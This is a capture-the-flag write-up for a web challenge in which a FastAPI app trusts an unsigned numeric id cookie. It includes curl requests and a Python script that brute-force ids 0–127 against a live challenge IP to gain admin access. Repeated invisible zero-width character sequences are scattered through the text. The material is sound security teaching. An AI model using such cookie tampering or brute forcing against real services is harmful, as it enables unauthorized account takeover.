← Back to Writeups
CUSTOMEasyWeb

Cookie Jar

XESXOR9/10/20263 min read
#web#custom#easy#authorization_bypass#client_side_cookie_tampering#cookie_bruteforce#linux

Cookie Jar

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: authorization_bypass, client_side_cookie_tampering, cookie_bruteforce

Summary

Task: a FastAPI service set a numeric id cookie and challenged the player to become admin in an app for only 128 users. Solution: recognize that authorization trusted the unsigned cookie, brute-force the tiny id space, and use id=72 to enter admin mode and recover the flag.

Cookie Jar — Hackerlab

Description

Original task name: «Банка для печенья»

Target: http://62.173.140.174:16003/

The challenge exposed a minimal FastAPI application with only one visible route. The goal was to become admin by abusing weak session logic based on a client-controlled cookie.

Challenge Summary

This was a classic cookie tampering task with a very small brute-force space. The application issued a numeric id cookie, trusted it for authorization, and hinted that the system was intended for only 128 users. That made brute-forcing all possible identifiers the fastest path to admin access. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Recon

Requesting / returned plain text from a FastAPI/uvicorn service and set a cookie named id:

http
HTTP/1.1 200 OK
server: uvicorn
set-cookie: id=<number>
content-type: text/plain; charset=utf-8

The body looked like this:

text
Привет! Я написал небольшое приложение рассчитанное на 128 пользователей. Твоя цель - стать админом.

Твой айди: <id>

/openapi.json showed only one route: GET /.

Common guesses such as /admin, /flag, /login, /register, /users, and /me returned 404, so there was no hidden multi-step workflow to attack through routing alone. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Hypothesis

Two details stood out immediately:

  1. The app explicitly mentioned 128 users, which suggests a tiny identifier space.
  2. The service set a numeric id cookie and echoed that identifier back to the client.

That strongly suggested the backend was using an unsigned, client-controlled cookie as the source of truth for identity and possibly for admin authorization. If so, manually changing the cookie or brute-forcing all values from 0 to 127 should reveal the privileged account.

Exploitation Steps

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. Confirm cookie trust

After the first request, changing the id cookie manually caused the application to reflect the supplied value back in the response. That proved the server trusted the client-provided cookie instead of maintaining a secure server-side session.

Example request:

bash
curl -i "http://62.173.140.174:16003/" -H 'Cookie: id=10'

The response still used the attacker-controlled value in the body, which validated the cookie tampering hypothesis.

2. Brute-force the small id space

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Because the challenge explicitly limited the application to 128 users, the search space was tiny. Iterating over all candidate values was trivial.

The successful cookie value was:

text
72

When the request included Cookie: id=72, the service switched to admin mode and returned:

text
[ ROOT ] Поздравляю! Теперь ты админ ... Держи флаг: CODEBY{REDACTED}

Proof / Important Responses

Default behavior

text
Привет! Я написал небольшое приложение рассчитанное на 128 пользователей. Твоя цель - стать админом.
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Твой айди: <id>

Admin behavior with the correct cookie

http
GET / HTTP/1.1
Host: 62.173.140.174:16003
Cookie: id=72
text
[ ROOT ] Поздравляю! Теперь ты админ ... Держи флаг: CODEBY{REDACTED}

Root Cause

The application used an unsigned client-controlled cookie (id) directly for authorization decisions. There was no signature, no server-side session validation, and no access-control check tied to an authenticated identity. Because the identifier space was only 128 values wide, brute-forcing the admin account was immediate. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

The attack can be automated with a short Python script:

python
#!/usr/bin/env python3
import requests


URL = "http://62.173.140.174:16003/"


def main() -> None:
    for candidate in range(128):
        response = requests.get(URL, cookies={"id": str(candidate)}, timeout=5)
        text = response.text

        print(f"[{candidate}] {text[:80]!r}")

        if "[ ROOT ]" in text or "CODEBY{" in text:
            print(f"[+] Admin cookie found: id={candidate}")
            print(text)
            break
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


if __name__ == "__main__":
    main()

Manual verification with curl was enough once the winning value was known:

bash
curl -i "http://62.173.140.174:16003/" -H 'Cookie: id=72'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍